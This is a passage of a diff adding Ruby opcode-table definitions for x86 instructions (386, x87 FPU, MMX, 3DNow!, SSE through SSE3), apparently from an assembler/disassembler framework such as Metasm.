+    addop 'callf', [0xFF], 3, :stopexec, :setip, :saveip
+    addop 'clc',   [0xF8]
+    addop 'cld',   [0xFC]
+    addop 'cli',   [0xFA]
+    addop 'clts',  [0x0F, 0x06]
+    addop 'cmc',   [0xF5]
+    addop('cmpxchg',[0x0F, 0xB0], :mrmw) { |o| o.args.reverse! }
+    addop 'cpuid', [0x0F, 0xA2]
+    addop 'daa',   [0x27]
+    addop 'das',   [0x2F]
+    addop 'hlt',   [0xF4], nil, :stopexec
+    addop 'in',    [0xE4], nil,  {:w => [0, 0]}, :reg_eax, :u8
+    addop 'in',    [0xE4], nil,  {:w => [0, 0]}, :u8
+    addop 'in',    [0xEC], nil,  {:w => [0, 0]}, :reg_eax, :reg_dx
+    addop 'in',    [0xEC], nil,  {:w => [0, 0]}, :reg_eax
+    addop 'in',    [0xEC], nil,  {:w => [0, 0]}
+    addop_macrostr 'ins',   [0x6C], :strop
+    addop 'into',  [0xCE]
+    addop 'invd',  [0x0F, 0x08]
+    addop 'invlpg', [0x0F, 0x01, 7<<3], :modrmA
+    addop('iretd', [0xCF], nil, :stopexec, :setip) { |o| o.props[:opsz] = 32 }
+    addop_macroret 'iret', [0xCF]
+    addop('jcxz',  [0xE3], nil, :setip, :i8) { |o| o.props[:adsz] = 16 }
+    addop('jecxz', [0xE3], nil, :setip, :i8) { |o| o.props[:adsz] = 32 }
+    addop 'jmp',   [0xEA], nil, :farptr, :setip, :stopexec
+    addop 'jmpf',  [0xEA], nil, :farptr, :setip, :stopexec
+    addop 'jmpf',  [0xFF], 5, :stopexec, :setip		# reg ?
+    addop 'lahf',  [0x9F]
+    addop 'lar',   [0x0F, 0x02], :mrm
+    addop 'lds',   [0xC5], :mrmA
+    addop 'les',   [0xC4], :mrmA
+    addop 'lfs',   [0x0F, 0xB4], :mrmA
+    addop 'lgs',   [0x0F, 0xB5], :mrmA
+    addop 'lgdt',  [0x0F, 0x01], 2, :modrmA
+    addop 'lidt',  [0x0F, 0x01, 3<<3], :modrmA
+    addop 'lldt',  [0x0F, 0x00], 2, :modrmA
+    addop 'lmsw',  [0x0F, 0x01], 6
+# prefix	addop 'lock',  [0xF0]
+    addop 'lsl',   [0x0F, 0x03], :mrm
+    addop 'lss',   [0x0F, 0xB2], :mrmA
+    addop 'ltr',   [0x0F, 0x00], 3
+    addop 'mov',   [0x0F, 0x20, 0xC0], :reg, {:d => [1, 1], :eeec => [2, 3]}, :eeec
+    addop 'mov',   [0x0F, 0x21, 0xC0], :reg, {:d => [1, 1], :eeed => [2, 3]}, :eeed
+    addop 'mov',   [0x0F, 0x24, 0xC0], :reg, {:d => [1, 1], :eeet => [2, 3]}, :eeet
+    addop 'mov',   [0x8C], 0,    {:d => [0, 1], :seg3 => [1, 3]}, :seg3
+    addop 'movbe', [0x0F, 0x38, 0xF0], :mrm, { :d => [2, 0] }
+    addop 'out',   [0xE6], nil,  {:w => [0, 0]}, :u8, :reg_eax
+    addop 'out',   [0xE6], nil,  {:w => [0, 0]}, :reg_eax, :u8
+    addop 'out',   [0xE6], nil,  {:w => [0, 0]}, :u8
+    addop 'out',   [0xEE], nil,  {:w => [0, 0]}, :reg_dx, :reg_eax
+    addop 'out',   [0xEE], nil,  {:w => [0, 0]}, :reg_eax, :reg_dx
+    addop 'out',   [0xEE], nil,  {:w => [0, 0]}, :reg_eax			# implicit arguments
+    addop 'out',   [0xEE], nil,  {:w => [0, 0]}
+    addop_macrostr 'outs',  [0x6E], :strop
+    addop 'pop',   [0x07], nil,  {:seg2A => [0, 3]}, :seg2A
+    addop 'pop',   [0x0F, 0x81], nil,  {:seg3A => [1, 3]}, :seg3A
+    addop('popa',  [0x61]) { |o| o.props[:opsz] = 16 }
+    addop('popad', [0x61]) { |o| o.props[:opsz] = 32 }
+    addop('popf',  [0x9D]) { |o| o.props[:opsz] = 16 }
+    addop('popfd', [0x9D]) { |o| o.props[:opsz] = 32 }
+    addop 'push',  [0x06], nil,  {:seg2 => [0, 3]}, :seg2
+    addop 'push',  [0x0F, 0x80], nil,  {:seg3A => [1, 3]}, :seg3A
+    addop('pusha', [0x60]) { |o| o.props[:opsz] = 16 }
+    addop('pushad',[0x60]) { |o| o.props[:opsz] = 32 }
+    addop('pushf', [0x9C]) { |o| o.props[:opsz] = 16 }
+    addop('pushfd',[0x9C]) { |o| o.props[:opsz] = 32 }
+    addop_macro3 'rcl', 2
+    addop_macro3 'rcr', 3
+    addop 'rdmsr', [0x0F, 0x32]
+    addop 'rdpmc', [0x0F, 0x33]
+    addop 'rdtsc', [0x0F, 0x31], nil, :random
+    addop_macroret 'retf', [0xCB]
+    addop_macroret 'retf', [0xCA], :u16
+    addop 'rsm',   [0x0F, 0xAA], nil, :stopexec
+    addop 'sahf',  [0x9E]
+    addop 'sgdt',  [0x0F, 0x01, 0<<3], :modrmA
+    addop 'sidt',  [0x0F, 0x01, 1<<3], :modrmA
+    addop 'sldt',  [0x0F, 0x00], 0
+    addop 'smsw',  [0x0F, 0x01], 4
+    addop 'stc',   [0xF9]
+    addop 'std',   [0xFD]
+    addop 'sti',   [0xFB]
+    addop 'str',   [0x0F, 0x00], 1
+    addop 'test',  [0xF6], 1, {:w => [0, 0]}, :i, :unsigned_imm			# undocumented alias to F6/0
+    addop 'ud2',   [0x0F, 0x0B]
+    addop 'verr',  [0x0F, 0x00], 4
+    addop 'verw',  [0x0F, 0x00], 5
+    addop 'wait',  [0x9B]
+    addop 'wbinvd',[0x0F, 0x09]
+    addop 'wrmsr', [0x0F, 0x30]
+    addop('xadd',  [0x0F, 0xC0], :mrmw) { |o| o.args.reverse! }
+    addop 'xlat',  [0xD7]
+
+# pfx:  addrsz = 0x67, lock = 0xF0, opsz = 0x66, repnz = 0xF2, rep/repz = 0xF3
+#	cs/nojmp = 0x2E, ds/jmp = 0x3E, es = 0x26, fs = 0x64, gs = 0x65, ss = 0x36
+
+    # undocumented opcodes
+    addop 'aam',   [0xD4], nil, :u8
+    addop 'aad',   [0xD5], nil, :u8
+    addop 'setalc',[0xD6]
+    addop 'salc',  [0xD6]
+    addop 'icebp', [0xF1]
+    #addop 'loadall',[0x0F, 0x07]	# conflict with syscall
+    addop 'ud0',   [0x0F, 0xFF]	# amd
+    addop 'ud2',   [0x0F, 0xB9], :mrm
+    #addop 'umov',  [0x0F, 0x10], :mrmw, {:d => [1, 1]}	# conflicts with movups/movhlps
+  end
+
+  def init_387_only
+    init_cpu_constants
+
+    addop 'f2xm1', [0xD9, 0xF0]
+    addop 'fabs',  [0xD9, 0xE1]
+    addop_macrofpu1 'fadd',  0
+    addop 'faddp', [0xDE, 0xC0], :regfp
+    addop 'faddp', [0xDE, 0xC1]
+    addop('fbld',  [0xDF, 4<<3], :modrmA, :regfp0) { |o| o.props[:argsz] = 80 }
+    addop('fbstp', [0xDF, 6<<3], :modrmA, :regfp0) { |o| o.props[:argsz] = 80 }
+    addop 'fchs',  [0xD9, 0xE0], nil, :regfp0
+    addop 'fnclex',      [0xDB, 0xE2]
+    addop_macrofpu1 'fcom',  2
+    addop_macrofpu1 'fcomp', 3
+    addop 'fcompp',[0xDE, 0xD9]
+    addop 'fcomip',[0xDF, 0xF0], :regfp
+    addop 'fcos',  [0xD9, 0xFF], nil, :regfp0
+    addop 'fdecstp', [0xD9, 0xF6]
+    addop_macrofpu1 'fdiv', 6
+    addop_macrofpu1 'fdivr', 7
+    addop 'fdivp', [0xDE, 0xF8], :regfp
+    addop 'fdivp', [0xDE, 0xF9]
+    addop 'fdivrp',[0xDE, 0xF0], :regfp
+    addop 'fdivrp',[0xDE, 0xF1]
+    addop 'ffree', [0xDD, 0xC0], nil,  {:regfp  => [1, 0]}, :regfp
+    addop_macrofpu2 'fiadd', 0
+    addop_macrofpu2 'fimul', 1
+    addop_macrofpu2 'ficom', 2
+    addop_macrofpu2 'ficomp',3
+    addop_macrofpu2 'fisub', 4
+    addop_macrofpu2 'fisubr',5
+    addop_macrofpu2 'fidiv', 6
+    addop_macrofpu2 'fidivr',7
+    addop 'fincstp', [0xD9, 0xF7]
+    addop 'fninit',      [0xDB, 0xE3]
+    addop_macrofpu2 'fist', 2, 1
+    addop_macrofpu3 'fild', 0
+    addop_macrofpu3 'fistp',3
+    addop('fld', [0xD9, 0<<3], :modrmA, :regfp0) { |o| o.props[:argsz] = 32 }
+    addop('fld', [0xDD, 0<<3], :modrmA, :regfp0) { |o| o.props[:argsz] = 64 }
+    addop('fld', [0xDB, 5<<3], :modrmA, :regfp0) { |o| o.props[:argsz] = 80 }
+    addop 'fld', [0xD9, 0xC0], :regfp
+
+    addop('fldcw',  [0xD9, 5<<3], :modrmA) { |o| o.props[:argsz] = 16 }
+    addop 'fldenv', [0xD9, 4<<3], :modrmA
+    addop 'fld1',   [0xD9, 0xE8]
+    addop 'fldl2t', [0xD9, 0xE9]
+    addop 'fldl2e', [0xD9, 0xEA]
+    addop 'fldpi',  [0xD9, 0xEB]
+    addop 'fldlg2', [0xD9, 0xEC]
+    addop 'fldln2', [0xD9, 0xED]
+    addop 'fldz',   [0xD9, 0xEE]
+    addop_macrofpu1 'fmul',  1
+    addop 'fmulp',  [0xDE, 0xC8], :regfp
+    addop 'fmulp',  [0xDE, 0xC9]
+    addop 'fnop',   [0xD9, 0xD0]
+    addop 'fpatan', [0xD9, 0xF3]
+    addop 'fprem',  [0xD9, 0xF8]
+    addop 'fprem1', [0xD9, 0xF5]
+    addop 'fptan',  [0xD9, 0xF2]
+    addop 'frndint',[0xD9, 0xFC]
+    addop 'frstor', [0xDD, 4<<3], :modrmA
+    addop 'fnsave', [0xDD, 6<<3], :modrmA
+    addop('fnstcw', [0xD9, 7<<3], :modrmA) { |o| o.props[:argsz] = 16 }
+    addop 'fnstenv',[0xD9, 6<<3], :modrmA
+    addop 'fnstsw', [0xDF, 0xE0]
+    addop('fnstsw', [0xDD, 7<<3], :modrmA) { |o| o.props[:argsz] = 16 }
+    addop 'fscale', [0xD9, 0xFD]
+    addop 'fsin',   [0xD9, 0xFE]
+    addop 'fsincos',[0xD9, 0xFB]
+    addop 'fsqrt',  [0xD9, 0xFA]
+    addop('fst',  [0xD9, 2<<3], :modrmA, :regfp0) { |o| o.props[:argsz] = 32 }
+    addop('fst',  [0xDD, 2<<3], :modrmA, :regfp0) { |o| o.props[:argsz] = 64 }
+    addop 'fst',  [0xD9, 0xD0], :regfp
+    addop('fstp', [0xD9, 3<<3], :modrmA, :regfp0) { |o| o.props[:argsz] = 32 }
+    addop('fstp', [0xDD, 3<<3], :modrmA, :regfp0) { |o| o.props[:argsz] = 64 }
+    addop('fstp', [0xDB, 7<<3], :modrmA, :regfp0) { |o| o.props[:argsz] = 80 }
+    addop 'fstp', [0xDD, 0xD8], :regfp
+    addop_macrofpu1 'fsub',  4
+    addop 'fsubp',  [0xDE, 0xE8], :regfp
+    addop 'fsubp',  [0xDE, 0xE9]
+    addop_macrofpu1 'fsubp', 5
+    addop 'fsubrp', [0xDE, 0xE0], :regfp
+    addop 'fsubrp', [0xDE, 0xE1]
+    addop 'ftst',   [0xD9, 0xE4]
+    addop 'fucom',  [0xDD, 0xE0], :regfp
+    addop 'fucomp', [0xDD, 0xE8], :regfp
+    addop 'fucompp',[0xDA, 0xE9]
+    addop 'fucomi', [0xDB, 0xE8], :regfp
+    addop 'fxam',   [0xD9, 0xE5]
+    addop 'fxch',   [0xD9, 0xC8], :regfp
+    addop 'fxtract',[0xD9, 0xF4]
+    addop 'fyl2x',  [0xD9, 0xF1]
+    addop 'fyl2xp1',[0xD9, 0xF9]
+    # fwait prefix
+    addop 'fclex',  [0x9B, 0xDB, 0xE2]
+    addop 'finit',  [0x9B, 0xDB, 0xE3]
+    addop 'fsave',  [0x9B, 0xDD, 6<<3], :modrmA
+    addop('fstcw',  [0x9B, 0xD9, 7<<3], :modrmA) { |o| o.props[:argsz] = 16 }
+    addop 'fstenv', [0x9B, 0xD9, 6<<3], :modrmA
+    addop 'fstsw',  [0x9B, 0xDF, 0xE0]
+    addop('fstsw',  [0x9B, 0xDD, 7<<3], :modrmA) { |o| o.props[:argsz] = 16 }
+    addop 'fwait',  [0x9B]
+  end
+
+  def init_486_only
+    init_cpu_constants
+  end
+
+  def init_pentium_only
+    init_cpu_constants
+
+    addop('cmpxchg8b', [0x0F, 0xC7], 1) { |o| o.props[:opsz] = 32 ; o.props[:argsz] = 64 }
+    # lock cmpxchg8b eax
+    #addop 'f00fbug', [0xF0, 0x0F, 0xC7, 0xC8]
+
+    # mmx
+    addop 'emms',  [0x0F, 0x77]
+    addop('movd',  [0x0F, 0x6E], :mrmmmx, {:d => [1, 4]}) { |o| o.args = [:modrm, :regmmx] ; o.props[:opsz] = o.props[:argsz] = 32 }
+    addop('movq',  [0x0F, 0x6F], :mrmmmx, {:d => [1, 4]}) { |o| o.props[:argsz] = 64 }
+    addop 'packssdw', [0x0F, 0x6B], :mrmmmx
+    addop 'packsswb', [0x0F, 0x63], :mrmmmx
+    addop 'packuswb', [0x0F, 0x67], :mrmmmx
+    addop_macrogg 0..2, 'padd',  [0x0F, 0xFC], :mrmmmx
+    addop_macrogg 0..1, 'padds', [0x0F, 0xEC], :mrmmmx
+    addop_macrogg 0..1, 'paddus',[0x0F, 0xDC], :mrmmmx
+    addop 'pand',  [0x0F, 0xDB], :mrmmmx
+    addop 'pandn', [0x0F, 0xDF], :mrmmmx
+    addop_macrogg 0..2, 'pcmpeq',[0x0F, 0x74], :mrmmmx
+    addop_macrogg 0..2, 'pcmpgt',[0x0F, 0x64], :mrmmmx
+    addop 'pmaddwd', [0x0F, 0xF5], :mrmmmx
+    addop 'pmulhuw', [0x0F, 0xE4], :mrmmmx
+    addop 'pmulhw',[0x0F, 0xE5], :mrmmmx
+    addop 'pmullw',[0x0F, 0xD5], :mrmmmx
+    addop 'por',   [0x0F, 0xEB], :mrmmmx
+    [[1..3, 'psll', 3], [1..2, 'psra', 2], [1..3, 'psrl', 1]].each { |ggrng, name, val|
+      addop_macrogg ggrng, name, [0x0F, 0xC0 | (val << 4)], :mrmmmx
+      addop_macrogg ggrng, name, [0x0F, 0x70, 0xC0 | (val << 4)], nil, {:regmmx => [2, 0]}, :regmmx, :u8
+    }
+    addop_macrogg 0..2, 'psub',  [0x0F, 0xF8], :mrmmmx
+    addop_macrogg 0..1, 'psubs', [0x0F, 0xE8], :mrmmmx
+    addop_macrogg 0..1, 'psubus',[0x0F, 0xD8], :mrmmmx
+    addop_macrogg 1..3, 'punpckh', [0x0F, 0x68], :mrmmmx
+    addop_macrogg 1..3, 'punpckl', [0x0F, 0x60], :mrmmmx
+    addop 'pxor',  [0x0F, 0xEF], :mrmmmx
+  end
+
+  def init_p6_only
+    addop_macrotttn 'cmov', [0x0F, 0x40], :mrm
+
+    %w{b e be u}.each_with_index { |tt, i|
+      addop 'fcmov' + tt, [0xDA, 0xC0 | (i << 3)], :regfp
+      addop 'fcmovn'+ tt, [0xDB, 0xC0 | (i << 3)], :regfp
+    }
+    addop 'fcomi', [0xDB, 0xF0], :regfp
+    addop('fxrstor', [0x0F, 0xAE, 1<<3], :modrmA) { |o| o.props[:argsz] = 512*8 }
+    addop('fxsave',  [0x0F, 0xAE, 0<<3], :modrmA) { |o| o.props[:argsz] = 512*8 }
+    addop 'sysenter',[0x0F, 0x34]
+    addop 'sysexit', [0x0F, 0x35]
+
+    addop 'syscall', [0x0F, 0x05]	# AMD
+    addop_macroret 'sysret', [0x0F, 0x07]	# AMD
+  end
+
+  def init_3dnow_only
+    init_cpu_constants
+
+    [['pavgusb', 0xBF], ['pfadd', 0x9E], ['pfsub', 0x9A],
+     ['pfsubr', 0xAA], ['pfacc', 0xAE], ['pfcmpge', 0x90],
+     ['pfcmpgt', 0xA0], ['fpcmpeq', 0xB0], ['pfmin', 0x94],
+     ['pfmax', 0xA4], ['pi2fd', 0x0D], ['pf2id', 0x1D],
+     ['pfrcp', 0x96], ['pfrsqrt', 0x97], ['pfmul', 0xB4],
+     ['pfrcpit1', 0xA6], ['pfrsqit1', 0xA7], ['pfrcpit2', 0xB6],
+     ['pmulhrw', 0xB7]].each { |str, bin|
+      addop str, [0x0F, 0x0F, bin], :mrmmmx
+    }
+    # 3dnow prefix fallback
+    addop '3dnow', [0x0F, 0x0F], :mrmmmx, :u8
+
+    addop 'femms', [0x0F, 0x0E]
+    addop 'prefetch',  [0x0F, 0x0D, 0<<3], :modrmA
+    addop 'prefetchw', [0x0F, 0x0D, 1<<3], :modrmA
+  end
+
+  def init_sse_only
+    init_cpu_constants
+
+    addop_macrossps 'addps', [0x0F, 0x58], :mrmxmm
+    addop 'andnps',  [0x0F, 0x55], :mrmxmm
+    addop 'andps',   [0x0F, 0x54], :mrmxmm
+    addop_macrossps 'cmpps', [0x0F, 0xC2], :mrmxmm, :u8
+    addop 'comiss',  [0x0F, 0x2F], :mrmxmm
+
+    addop('cvtpi2ps', [0x0F, 0x2A], :mrmxmm) { |o| o.args[o.args.index(:modrmxmm)] = :modrmmmx }
+    addop('cvtps2pi', [0x0F, 0x2D], :mrmmmx) { |o| o.args[o.args.index(:modrmmmx)] = :modrmxmm }
+    addop('cvtsi2ss', [0x0F, 0x2A], :mrmxmm) { |o| o.args[o.args.index(:modrmxmm)] = :modrm ; o.props[:needpfx] = 0xF3 }
+    addop('cvtss2si', [0x0F, 0x2D], :mrm)    { |o| o.args[o.args.index(:modrm)] = :modrmxmm ; o.props[:needpfx] = 0xF3 }
+    addop('cvttps2pi',[0x0F, 0x2C], :mrmmmx) { |o| o.args[o.args.index(:modrmmmx)] = :modrmxmm }
+    addop('cvttss2si',[0x0F, 0x2C], :mrm)    { |o| o.args[o.args.index(:modrm)] = :modrmxmm ; o.props[:needpfx] = 0xF3 }
+
+    addop_macrossps 'divps', [0x0F, 0x5E], :mrmxmm
+    addop 'ldmxcsr', [0x0F, 0xAE, 2<<3], :modrmA
+    addop_macrossps 'maxps', [0x0F, 0x5F], :mrmxmm
+    addop_macrossps 'minps', [0x0F, 0x5D], :mrmxmm
+    addop 'movaps',  [0x0F, 0x28], :mrmxmm, {:d => [1, 0]}
+    addop 'movhlps', [0x0F, 0x12], :mrmxmm, :modrmR
+    addop 'movlps',  [0x0F, 0x12], :mrmxmm, {:d => [1, 0]}, :modrmA
+    addop 'movlhps', [0x0F, 0x16], :mrmxmm, :modrmR
+    addop 'movhps',  [0x0F, 0x16], :mrmxmm, {:d => [1, 0]}, :modrmA
+    addop 'movmskps',[0x0F, 0x50, 0xC0], nil, {:reg => [2, 3], :regxmm => [2, 0]}, :regxmm, :reg
+    addop('movss',   [0x0F, 0x10], :mrmxmm, {:d => [1, 0]}) { |o| o.props[:needpfx] = 0xF3 }
+    addop 'movups',  [0x0F, 0x10], :mrmxmm, {:d => [1, 0]}
+    addop_macrossps 'mulps', [0x0F, 0x59], :mrmxmm
+    addop 'orps',    [0x0F, 0x56], :mrmxmm
+    addop_macrossps 'rcpps',  [0x0F, 0x53], :mrmxmm
+    addop_macrossps 'rsqrtps',[0x0F, 0x52], :mrmxmm
+    addop 'shufps',  [0x0F, 0xC6], :mrmxmm, :u8
+    addop_macrossps 'sqrtps', [0x0F, 0x51], :mrmxmm
+    addop 'stmxcsr', [0x0F, 0xAE, 3<<3], :modrmA
+    addop_macrossps 'subps', [0x0F, 0x5C], :mrmxmm
+    addop 'ucomiss', [0x0F, 0x2E], :mrmxmm
+    addop 'unpckhps',[0x0F, 0x15], :mrmxmm
+    addop 'unpcklps',[0x0F, 0x14], :mrmxmm
+    addop 'xorps',   [0x0F, 0x57], :mrmxmm
+
+    # integer instrs, mmx only
+    addop 'pavgb',   [0x0F, 0xE0], :mrmmmx
+    addop 'pavgw',   [0x0F, 0xE3], :mrmmmx
+    addop 'pextrw',  [0x0F, 0xC5, 0xC0], nil, {:reg => [2, 3], :regmmx => [2, 0]}, :reg, :regmmx, :u8
+    addop 'pinsrw',  [0x0F, 0xC4, 0x00], nil, {:modrm => [2, 0], :regmmx => [2, 3]}, :modrm, :regmmx, :u8
+    addop 'pmaxsw',  [0x0F, 0xEE], :mrmmmx
+    addop 'pmaxub',  [0x0F, 0xDE], :mrmmmx
+    addop 'pminsw',  [0x0F, 0xEA], :mrmmmx
+    addop 'pminub',  [0x0F, 0xDA], :mrmmmx
+    addop 'pmovmskb',[0x0F, 0xD7, 0xC0], nil, {:reg => [2, 3], :regmmx => [2, 0]}, :reg, :regmmx
+    addop 'psadbw',  [0x0F, 0xF6], :mrmmmx
+    addop 'pshufw',  [0x0F, 0x70], :mrmmmx, :u8
+
+    addop 'maskmovq',[0x0F, 0xF7], :mrmmmx, :modrmR
+    addop('movntq',  [0x0F, 0xE7], :mrmmmx) { |o| o.args.reverse! }
+    addop('movntps', [0x0F, 0x2B], :mrmxmm) { |o| o.args.reverse! }
+    addop 'prefetcht0', [0x0F, 0x18, 1<<3], :modrmA
+    addop 'prefetcht1', [0x0F, 0x18, 2<<3], :modrmA
+    addop 'prefetcht2', [0x0F, 0x18, 3<<3], :modrmA
+    addop 'prefetchnta',[0x0F, 0x18, 0<<3], :modrmA
+    addop 'sfence',  [0x0F, 0xAE, 0xF8]
+
+    # the whole row of prefetch is actually nops
+    addop 'nop', [0x0F, 0x1C], :mrmw, :d => [1, 1]	# incl. official version = 0f1f mrm
+    addop 'nop_8', [0x0F, 0x18], :mrmw, :d => [1, 1]
+    addop 'nop_d', [0x0F, 0x0D], :mrm
+    addop 'nop', [0x0F, 0x1C], 0	# official asm syntax is 'nop [eax]'
+  end
+
+  def init_sse2_only
+    init_cpu_constants
+
+    @opcode_list.each { |o| o.props[:xmmx] = true if o.fields[:regmmx] and o.name !~ /^(?:mov(?:nt)?q|pshufw|cvt.*)$/ }
+
+    # mirror of the init_sse part
+    addop_macrosdpd 'addpd', [0x0F, 0x58], :mrmxmm
+    addop('andnpd',  [0x0F, 0x55], :mrmxmm) { |o| o.props[:needpfx] = 0x66 }
+    addop('andpd',   [0x0F, 0x54], :mrmxmm) { |o| o.props[:needpfx] = 0x66 }
+    addop_macrosdpd 'cmppd', [0x0F, 0xC2], :mrmxmm, :u8
+    addop('comisd',  [0x0F, 0x2F], :mrmxmm) { |o| o.props[:needpfx] = 0x66 }
+
+    addop('cvtpi2pd', [0x0F, 0x2A], :mrmxmm) { |o| o.args[o.args.index(:modrmxmm)] = :modrmmmx ; o.props[:needpfx] = 0x66 }
+    addop('cvtpd2pi', [0x0F, 0x2D], :mrmmmx) { |o| o.args[o.args.index(:modrmmmx)] = :modrmxmm ; o.props[:needpfx] = 0x66 }
+    addop('cvtsi2sd', [0x0F, 0x2A], :mrmxmm) { |o| o.args[o.args.index(:modrmxmm)] = :modrm    ; o.props[:needpfx] = 0xF2 }
+    addop('cvtsd2si', [0x0F, 0x2D], :mrm   ) { |o| o.args[o.args.index(:modrm   )] = :modrmxmm ; o.props[:needpfx] = 0xF2 }
+    addop('cvttpd2pi',[0x0F, 0x2C], :mrmmmx) { |o| o.args[o.args.index(:modrmmmx)] = :modrmxmm ; o.props[:needpfx] = 0x66 }
+    addop('cvttsd2si',[0x0F, 0x2C], :mrm   ) { |o| o.args[o.args.index(:modrm   )] = :modrmxmm ; o.props[:needpfx] = 0xF2 }
+
+    addop('cvtpd2ps', [0x0F, 0x5A], :mrmxmm) { |o| o.props[:needpfx] = 0x66 }
+    addop('cvtps2pd', [0x0F, 0x5A], :mrmxmm)
+    addop('cvtsd2ss', [0x0F, 0x5A], :mrmxmm) { |o| o.props[:needpfx] = 0xF2 }
+    addop('cvtss2sd', [0x0F, 0x5A], :mrmxmm) { |o| o.props[:needpfx] = 0xF3 }
+
+    addop('cvtpd2dq', [0x0F, 0xE6], :mrmxmm) { |o| o.props[:needpfx] = 0xF2 }
+    addop('cvttpd2dq',[0x0F, 0xE6], :mrmxmm) { |o| o.props[:needpfx] = 0x66 }
+    addop('cvtdq2pd', [0x0F, 0xE6], :mrmxmm) { |o| o.props[:needpfx] = 0xF3 }
+    addop('cvtps2dq', [0x0F, 0x5B], :mrmxmm) { |o| o.props[:needpfx] = 0x66 }
+    addop('cvttps2dq',[0x0F, 0x5B], :mrmxmm) { |o| o.props[:needpfx] = 0xF3 }
+    addop('cvtdq2ps', [0x0F, 0x5B], :mrmxmm)
+
+    addop_macrosdpd 'divpd', [0x0F, 0x5E], :mrmxmm
+    addop_macrosdpd 'maxpd', [0x0F, 0x5F], :mrmxmm
+    addop_macrosdpd 'minpd', [0x0F, 0x5D], :mrmxmm
+    addop('movapd',  [0x0F, 0x28], :mrmxmm, {:d => [1, 0]}) { |o| o.props[:needpfx] = 0x66 }
+
+    addop('movlpd',  [0x0F, 0x12], :mrmxmm, {:d => [1, 0]}) { |o| o.props[:needpfx] = 0x66 }
+    addop('movhpd',  [0x0F, 0x16], :mrmxmm, {:d => [1, 0]}) { |o| o.props[:needpfx] = 0x66 }
+
+    addop('movmskpd',[0x0F, 0x50, 0xC0], nil, {:reg => [2, 3], :regxmm => [2, 0]}, :regxmm, :reg) { |o| o.props[:needpfx] = 0x66 }
+    addop('movsd',   [0x0F, 0x10], :mrmxmm, {:d => [1, 0]}) { |o| o.props[:needpfx] = 0xF2 }
+    addop('movupd',  [0x0F, 0x10], :mrmxmm, {:d => [1, 0]}) { |o| o.props[:needpfx] = 0x66 }
+    addop_macrosdpd 'mulpd', [0x0F, 0x59], :mrmxmm
+    addop('orpd',    [0x0F, 0x56], :mrmxmm) { |o| o.props[:needpfx] = 0x66 }
+    addop('shufpd',  [0x0F, 0xC6], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66 }
+    addop_macrosdpd 'sqrtpd', [0x0F, 0x51], :mrmxmm
+    addop_macrosdpd 'subpd', [0x0F, 0x5C], :mrmxmm
+    addop('ucomisd', [0x0F, 0x2E], :mrmxmm) { |o| o.props[:needpfx] = 0x66 }
+    addop('unpckhpd',[0x0F, 0x15], :mrmxmm) { |o| o.props[:needpfx] = 0x66 }
+    addop('unpcklpd',[0x0F, 0x14], :mrmxmm) { |o| o.props[:needpfx] = 0x66 }
+    addop('xorpd',   [0x0F, 0x57], :mrmxmm) { |o| o.props[:needpfx] = 0x66 }
+
+    addop('movdqa',  [0x0F, 0x6F], :mrmxmm, {:d => [1, 4]}) { |o| o.props[:needpfx] = 0x66 }
+    addop('movdqu',  [0x0F, 0x6F], :mrmxmm, {:d => [1, 4]}) { |o| o.props[:needpfx] = 0xF3 }
+    addop('movq2dq', [0x0F, 0xD6], :mrmxmm, :modrmR) { |o| o.args[o.args.index(:modrmxmm)] = :modrmmmx ; o.props[:needpfx] = 0xF3 }
+    addop('movdq2q', [0x0F, 0xD6], :mrmmmx, :modrmR) { |o| o.args[o.args.index(:modrmmmx)] = :modrmxmm ; o.props[:needpfx] = 0xF2 }
+    addop('movq',    [0x0F, 0x7E], :mrmxmm) { |o| o.props[:needpfx] = 0xF3 ; o.props[:argsz] = 128 }
+    addop('movq',    [0x0F, 0xD6], :mrmxmm) { |o| o.args.reverse! ; o.props[:needpfx] = 0x66 ; o.props[:argsz] = 128 }
+
+    addop 'paddq',   [0x0F, 0xD4], :mrmmmx, :xmmx
+    addop 'pmuludq', [0x0F, 0xF4], :mrmmmx, :xmmx
+    addop('pshuflw', [0x0F, 0x70], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0xF2 }
+    addop('pshufhw', [0x0F, 0x70], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0xF3 }
+    addop('pshufd',  [0x0F, 0x70], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66 }
+    addop('pslldq',  [0x0F, 0x73, 0xF8], nil, {:regxmm => [2, 0]}, :regxmm, :u8) { |o| o.props[:needpfx] = 0x66 }
+    addop('psrldq',  [0x0F, 0x73, 0xD8], nil, {:regxmm => [2, 0]}, :regxmm, :u8) { |o| o.props[:needpfx] = 0x66 }
+    addop 'psubq',   [0x0F, 0xFB], :mrmmmx, :xmmx
+    addop('punpckhqdq', [0x0F, 0x6D], :mrmxmm) { |o| o.props[:needpfx] = 0x66 }
+    addop('punpcklqdq', [0x0F, 0x6C], :mrmxmm) { |o| o.props[:needpfx] = 0x66 }
+
+    addop('clflush', [0x0F, 0xAE, 7<<3], :modrmA) { |o| o.props[:argsz] = 8 }
+    addop('maskmovdqu', [0x0F, 0xF7], :mrmxmm) { |o| o.props[:needpfx] = 0x66 }
+    addop('movntpd', [0x0F, 0x2B], :mrmxmm) { |o| o.args.reverse! ; o.props[:needpfx] = 0x66 }
+    addop('movntdq', [0x0F, 0xE7], :mrmxmm) { |o| o.args.reverse! ; o.props[:needpfx] = 0x66 }
+    addop('movnti',  [0x0F, 0xC3], :mrm) { |o| o.args.reverse! }
+    addop('pause',   [0x90]) { |o| o.props[:needpfx] = 0xF3 }
+    addop 'lfence',  [0x0F, 0xAE, 0xE8]
+    addop 'mfence',  [0x0F, 0xAE, 0xF0]
+  end
+
+  def init_sse3_only
+    init_cpu_constants
+
+    addop('addsubpd', [0x0F, 0xD0], :mrmxmm) { |o| o.props[:needpfx] = 0x66 }
+    addop('addsubps', [0x0F, 0xD0], :mrmxmm) { |o| o.props[:needpfx] = 0xF2 }
+    addop('haddpd',   [0x0F, 0x7C], :mrmxmm) { |o| o.props[:needpfx] = 0x66 }
+    addop('haddps',   [0x0F, 0x7C], :mrmxmm) { |o| o.props[:needpfx] = 0xF2 }
+    addop('hsubpd',   [0x0F, 0x7D], :mrmxmm) { |o| o.props[:needpfx] = 0x66 }
+    addop('hsubps',   [0x0F, 0x7D], :mrmxmm) { |o| o.props[:needpfx] = 0xF2 }
+
+    addop 'monitor',  [0x0F, 0x01, 0xC8]
+    addop 'mwait',    [0x0F, 0x01, 0xC9]
+
